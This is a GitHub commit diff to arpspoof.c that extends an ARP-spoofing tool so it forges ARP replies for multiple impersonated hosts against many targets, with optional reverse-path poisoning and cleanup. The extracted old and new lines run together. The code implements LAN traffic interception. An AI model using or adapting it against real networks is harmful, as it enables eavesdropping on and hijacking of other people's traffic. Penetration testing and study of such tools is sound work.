Skip to content

Commit

Permalink
arpspoof: implement spoofing of multiple hosts
Browse files Browse the repository at this point in the history
  • Loading branch information
wertarbyte committed Dec 5, 2011
1 parent 8db5155 commit 747f1d2
Showing 1 changed file with 88 additions and 74 deletions.
162 changes: 88 additions & 74 deletions arpspoof.c
Expand Up @@ -41,12 +41,13 @@ struct host {
/* host flags */ /* host flags */
#define HOST_ACTIVE (1<<0) #define HOST_ACTIVE (1<<0)
#define HOST_SUBNET (1<<1) #define HOST_SUBNET (1<<1)
#define HOST_TARGET (1<<2)
#define HOST_MODEL (1<<3)


static int verbose = 0; static int verbose = 0;
static libnet_t *l; static libnet_t *l;
static struct host spoof = {0}; static int n_hosts = 0;
static int n_targets = 0; static struct host *hosts;
static struct host *targets;
static char *intf; static char *intf;
static int poison_reverse; static int poison_reverse;


Expand Down Expand Up @@ -149,7 +150,7 @@ arp_find(in_addr_t ip, struct ether_addr *mac)
} }


static int arp_find_all() { static int arp_find_all() {
struct host *target = targets; struct host *target = hosts;
while(target->ip) { while(target->ip) {
if (arp_find(target->ip, &target->mac)) { if (arp_find(target->ip, &target->mac)) {
return 1; return 1;
Expand All @@ -160,67 +161,74 @@ static int arp_find_all() {
return 0; return 0;
} }


static int target_add(in_addr_t addr, uint8_t flags) { static int host_add(in_addr_t addr, uint8_t flags) {
targets[n_targets].ip = addr; hosts[n_hosts].ip = addr;
targets[n_targets].flags = flags; hosts[n_hosts].flags = flags;
targets[n_targets+1].ip = (uint32_t)0; hosts[n_hosts+1].ip = (uint32_t)0;
return n_targets++; return n_hosts++;
} }


static int subnet_add(in_addr_t addr, int prefix_length) { static int subnet_add(in_addr_t addr, int prefix_length, uint8_t flags) {
uint32_t mask = ~((1<<(32-prefix_length))-1); uint32_t mask = ~((1<<(32-prefix_length))-1);
uint32_t net = (ntohl((uint32_t)addr)) & mask; uint32_t net = (ntohl((uint32_t)addr)) & mask;
uint32_t brd = (ntohl((uint32_t)addr)) | ~mask; uint32_t brd = (ntohl((uint32_t)addr)) | ~mask;
uint32_t a; uint32_t a;
for (a = net+1; a<brd; a++) { for (a = net+1; a<brd; a++) {
in_addr_t ia = (in_addr_t) htonl(a); in_addr_t ia = (in_addr_t) htonl(a);
target_add(ia, HOST_SUBNET); host_add(ia, HOST_SUBNET|flags);
} }
} }


static int active_targets(void) { static int active_targets(void) {
int n = 0; int n = 0;
struct host *target = targets; struct host *target = hosts;
for (; target->ip; target++) if (target->flags & HOST_ACTIVE) n++; for (; target->ip; target++) if (target->flags & HOST_ACTIVE && target->flags & HOST_TARGET) n++;
return n; return n;
} }


static void static void
cleanup(int sig) cleanup(int sig)
{ {
int fw = arp_find(spoof.ip, &spoof.mac);
int bw = poison_reverse && targets[0].ip && arp_find_all();
int i; int i;
int rounds = (cleanup_src_own*5 + cleanup_src_host*5); int rounds = (cleanup_src_own*5 + cleanup_src_host*5);


fprintf(stderr, "Cleaning up and re-arping targets...\n"); fprintf(stderr, "Cleaning up and re-arping targets...\n");
for (i = 0; i < rounds; i++) { for (i = 0; i < rounds; i++) {
struct host *target = targets; struct host *target = hosts;
for(;target->ip;target++) { for(;target->ip;target++) {
uint8_t *src_ha = NULL; uint8_t *src_ha = NULL;


if (!(target->flags & HOST_TARGET)) continue;
if (!(target->flags & HOST_ACTIVE)) continue; if (!(target->flags & HOST_ACTIVE)) continue;


if (cleanup_src_own && (i%2 || !cleanup_src_host)) { struct host *model = hosts;
src_ha = my_ha; for(;model->ip;model++) {
} int fw = arp_find(target->ip, &target->mac);
/* XXX - on BSD, requires ETHERSPOOF kernel. */ int bw = poison_reverse;
if (fw) {
arp_send(l, ARPOP_REPLY, if (!(model->flags & HOST_MODEL)) continue;
(u_int8_t *)&spoof.mac, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha), if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
target->ip, src_ha = my_ha;
src_ha); }
/* we have to wait a moment before sending the next packet */ /* XXX - on BSD, requires ETHERSPOOF kernel. */
usleep(ARP_PAUSE); if (fw) {
} arp_send(l, ARPOP_REPLY,
if (bw) { (u_int8_t *)&model->mac, model->ip,
arp_send(l, ARPOP_REPLY, (target->ip ? (u_int8_t *)&target->mac : brd_ha),
(u_int8_t *)&target->mac, target->ip, target->ip,
(u_int8_t *)&spoof.mac, src_ha);
spoof.ip, /* we have to wait a moment before sending the next packet */
src_ha); usleep(ARP_PAUSE);
usleep(ARP_PAUSE); }
if (bw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&target->mac, target->ip,
(u_int8_t *)&model->mac,
model->ip,
src_ha);
usleep(ARP_PAUSE);
}
} }
} }
} }
Expand All @@ -236,19 +244,18 @@ main(int argc, char *argv[])
char pcap_ebuf[PCAP_ERRBUF_SIZE]; char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE]; char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c; int c;
int n_scan_targets = 0; int n_scan_hosts = 0;
char *scan_prefix = NULL; char *scan_prefix = NULL;
int scan_prefix_length = 32; int scan_prefix_length = 32;
char *cleanup_src = NULL; char *cleanup_src = NULL;
in_addr_t target_addr; in_addr_t target_addr;


spoof.ip = 0;
intf = NULL; intf = NULL;
poison_reverse = 0; poison_reverse = 0;
n_targets = 0; n_hosts = 0;


/* allocate enough memory for target list */ /* allocate enough memory for target list */
targets = calloc( argc+1, sizeof(struct host) ); hosts = calloc( argc+1, sizeof(struct host) );


while ((c = getopt(argc, argv, "vri:s:t:c:h?V")) != -1) { while ((c = getopt(argc, argv, "vri:s:t:c:h?V")) != -1) {
switch (c) { switch (c) {
Expand All @@ -263,7 +270,7 @@ main(int argc, char *argv[])
if (target_addr == -1) { if (target_addr == -1) {
usage(); usage();
} else { } else {
target_add(target_addr, 0); host_add(target_addr, HOST_TARGET);
} }
break; break;
case 'r': case 'r':
Expand All @@ -278,12 +285,12 @@ main(int argc, char *argv[])
usage(); usage();
} }
} }
n_scan_targets += (1<<(32-scan_prefix_length)); n_scan_hosts += (1<<(32-scan_prefix_length));
/* we need some more memory to store the target data */ /* we need some more memory to store the target data */
int mem = (argc+1 + n_scan_targets) * sizeof(struct host); int mem = (argc+1 + n_scan_hosts) * sizeof(struct host);
targets = realloc( targets, mem ); hosts = realloc( hosts, mem );
targets[n_targets].ip = (uint32_t)0; hosts[n_hosts].ip = (uint32_t)0;
subnet_add(inet_addr(optarg), scan_prefix_length); subnet_add(inet_addr(optarg), scan_prefix_length, HOST_TARGET);
break; break;
case 'c': case 'c':
cleanup_src = optarg; cleanup_src = optarg;
Expand All @@ -295,14 +302,6 @@ main(int argc, char *argv[])
argc -= optind; argc -= optind;
argv += optind; argv += optind;


if (argc != 1)
usage();

if (poison_reverse && !n_targets) {
errx(1, "Spoofing the reverse path (-r) is only available when specifying at least one target (-t/-s).");
usage();
}

if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */ if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
/* only use our own hw address when cleaning up, /* only use our own hw address when cleaning up,
* not jeopardizing any bridges on the way to our * not jeopardizing any bridges on the way to our
Expand All @@ -326,17 +325,28 @@ main(int argc, char *argv[])
usage(); usage();
} }


if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1) while (argc--) {
if ((target_addr = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1) {
errx(1, "Invalid address: %s", argv[0]);
usage();
}
host_add(target_addr, HOST_MODEL);
argv++;
}

if (poison_reverse && active_targets() <= 0) {
errx(1, "Spoofing the reverse path (-r) is only available when specifying at least one target (-t/-s).");
usage(); usage();

}

if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL) if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf); errx(1, "%s", pcap_ebuf);


if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL) if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf); errx(1, "%s", libnet_ebuf);


fprintf(stderr, "Scanning %d hw addresses...\n", n_targets); fprintf(stderr, "Scanning %d hw addresses...\n", n_hosts);
struct host *target = targets; struct host *target = hosts;
for (; target->ip; target++) { for (; target->ip; target++) {
if (verbose) { if (verbose) {
fprintf(stderr, "Looking up host %s...\n", libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE)); fprintf(stderr, "Looking up host %s...\n", libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
Expand All @@ -355,15 +365,14 @@ main(int argc, char *argv[])
if (! (target->flags & HOST_SUBNET)) { if (! (target->flags & HOST_SUBNET)) {
fprintf(stderr, "Unable to find specified host %s\n", libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE)); fprintf(stderr, "Unable to find specified host %s\n", libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
} }
if (poison_reverse && target->flags & HOST_MODEL) {
errx(1, "couldn't arp for spoof host %s",
libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
usage();
}
} }
} }


if (poison_reverse) {
if (!arp_find(spoof.ip, &spoof.mac)) {
errx(1, "couldn't arp for spoof host %s",
libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
}
}


if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) { if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
errx(1, "Unable to determine own mac address"); errx(1, "Unable to determine own mac address");
Expand All @@ -377,20 +386,25 @@ main(int argc, char *argv[])
signal(SIGINT, cleanup); signal(SIGINT, cleanup);
signal(SIGTERM, cleanup); signal(SIGTERM, cleanup);


fprintf(stderr, "Starting spoofing process...\n");
for (;;) { for (;;) {
struct host *target = targets; struct host *target = hosts;
for(;target->ip; target++) { for(;target->ip; target++) {
if (!(target->flags & HOST_TARGET)) continue;
if (!(target->flags & HOST_ACTIVE)) continue; if (!(target->flags & HOST_ACTIVE)) continue;
/* do not target our spoof host! */ struct host *model = hosts;
if (target->ip != spoof.ip) { for (;model->ip; model++) {
arp_send(l, ARPOP_REPLY, my_ha, spoof.ip, if (!(model->flags & HOST_MODEL)) continue;
(target->ip ? (u_int8_t *)&target->mac : brd_ha), if (target->ip != model->ip) {
target->ip, arp_send(l, ARPOP_REPLY, my_ha, model->ip,
my_ha); (target->ip ? (u_int8_t *)&target->mac : brd_ha),
usleep(ARP_PAUSE); target->ip,
if (poison_reverse) { my_ha);
arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
usleep(ARP_PAUSE); usleep(ARP_PAUSE);
if (poison_reverse) {
arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&model->mac, model->ip, my_ha);
usleep(ARP_PAUSE);
}
} }
} }
} }
Expand Down

0 comments on commit 747f1d2

Please sign in to comment.